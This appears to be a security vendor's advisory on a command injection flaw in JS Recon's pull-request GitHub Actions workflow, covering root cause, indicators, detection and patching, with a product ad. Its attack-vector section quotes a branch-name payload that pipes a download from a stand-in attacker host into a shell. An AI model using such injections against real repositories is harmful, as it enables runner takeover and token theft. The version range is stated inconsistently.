CVE-2026-55378 Overview
CVE-2026-55378 is a command injection vulnerability in JS Recon, a JavaScript enumeration and Static Application Security Testing (SAST) tool. The flaw affects the PR Branch Checker GitHub Actions workflow defined in .github/workflows/pr_checker.yml. Versions from 1.2.1-beta.1 through 1.3.1-beta.2 interpolate the untrusted github.head_ref and github.event.pull_request.head.repo.full_name values into a shell gh pr comment command. An attacker who opens a pull request with shell metacharacters embedded in a branch or fork name can execute arbitrary commands on the GitHub Actions runner. The runner's GITHUB_TOKEN carries pull-requests: write permission, allowing further repository abuse.
Critical Impact
Any remote user can trigger arbitrary command execution on the JS Recon GitHub Actions runner by opening a pull request with a crafted branch or fork name, exposing the workflow's GITHUB_TOKEN.
Affected Products
- JS Recon 1.2.1-beta.1 through versions prior to 1.3.1-beta.2
- GitHub Actions workflow file .github/workflows/pr_checker.yml
- Repositories forking or reusing the vulnerable PR Branch Checker workflow
Discovery Timeline
- 2026-08-28 - CVE-2026-55378 published to NVD
- 2026-09-01 - Last updated in NVD database
Technical Details for CVE-2026-55378
Vulnerability Analysis
The vulnerability is a classic OS command injection [CWE-78] introduced through unsafe GitHub Actions expression interpolation. The PR Branch Checker workflow reads two attacker-controlled context values, github.head_ref and github.event.pull_request.head.repo.full_name, and assigns them to the BRANCH_NAME and SOURCE_REPO environment variables. These values are then interpolated directly into a shell command invoking gh pr comment. GitHub Actions expands ${{ ... }} expressions before the shell parses the command, so metacharacters in the branch or fork name are treated as shell syntax. An attacker can inject subshell operators, command separators, or backticks and execute arbitrary code on the runner. The workflow's GITHUB_TOKEN holds pull-requests: write scope, which enables comment forgery, malicious PR modifications, and further supply-chain abuse on the JS Recon repository.
Root Cause
The root cause is direct interpolation of untrusted pull request metadata into a run: shell step without validation or safe passing through environment variables. GitHub explicitly warns against using github.head_ref in shell contexts because attackers control branch names on forks.
Attack Vector
The attack requires no authentication beyond the ability to open a pull request against the JS Recon repository. An attacker creates a fork or branch whose name contains shell metacharacters, such as `curl attacker.tld|sh` or $(...) payloads. Opening a pull request triggers the workflow, and the injected payload executes in the runner context. The attacker can exfiltrate the GITHUB_TOKEN, post malicious PR comments, or pivot into other automation surfaces exposed to the runner.
See the GitHub Security Advisory GHSA-w9cj-mg3x-qjm4 and the remediation pull request #121 for the exact vulnerable expression and its fix.
Stop Remote Code Execution Before It Runs
Singularity™ Endpoint detects and blocks exploit attempts at machine speed, including zero-days and novel attack techniques.
Stop Exploit AttemptsDetection Methods for CVE-2026-55378
Indicators of Compromise
- Pull requests originating from forks with branch names containing backticks, $( ), ;, &&, |, or newline characters.
- Unexpected outbound network connections from GitHub-hosted runners during PR Branch Checker workflow executions.
- Workflow run logs showing shell errors or unrecognized commands within the gh pr comment step.
- Unexplained PR comments, label changes, or repository modifications performed by github-actions[bot].
Detection Strategies
- Audit the repository's Actions run history for executions of .github/workflows/pr_checker.yml on versions between 1.2.1-beta.1 and 1.3.1-beta.2.
- Grep workflow YAML files for ${{ github.head_ref }} or ${{ github.event.pull_request.head.repo.full_name }} inside run: steps.
- Use static analysis tools such as zizmor, actionlint, or octoscan to flag unsafe expression interpolation in GitHub Actions workflows.
Monitoring Recommendations
- Enable GitHub Actions audit logging and stream events to a Security Information and Event Management (SIEM) platform for review.
- Alert on workflow steps executing unexpected binaries or on GITHUB_TOKEN API calls originating outside routine automation windows.
- Monitor for new or modified .github/workflows/ files in protected branches, particularly changes reintroducing untrusted context interpolation.
How to Mitigate CVE-2026-55378
Immediate Actions Required
- Upgrade JS Recon to version 1.3.1-beta.2 or later, which contains the fix delivered in commit 447876c.
- Rotate any secrets or tokens that may have been exposed to the runner while the vulnerable workflow was active.
- Restrict pull request workflows on forks by requiring maintainer approval before running Actions on first-time contributors.
- Review recent PR activity for suspicious branch or fork names and revert any unauthorized changes made by github-actions[bot].
Patch Information
The fix ships in JS Recon v1.3.1-beta.2. The patched workflow passes untrusted values through environment variables and quotes them safely in the shell step, preventing expression expansion into the command line. Details are documented in pull request #121 and the GitHub Security Advisory GHSA-w9cj-mg3x-qjm4.
Workarounds
- Disable the PR Branch Checker workflow until the upgrade is applied.
- Refactor the workflow to assign untrusted context values to env: variables and reference them as "$BRANCH_NAME" inside the shell, rather than interpolating ${{ ... }} directly.
- Set repository Actions permissions to require manual approval for pull requests from external contributors, reducing the exposure window for injection payloads.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
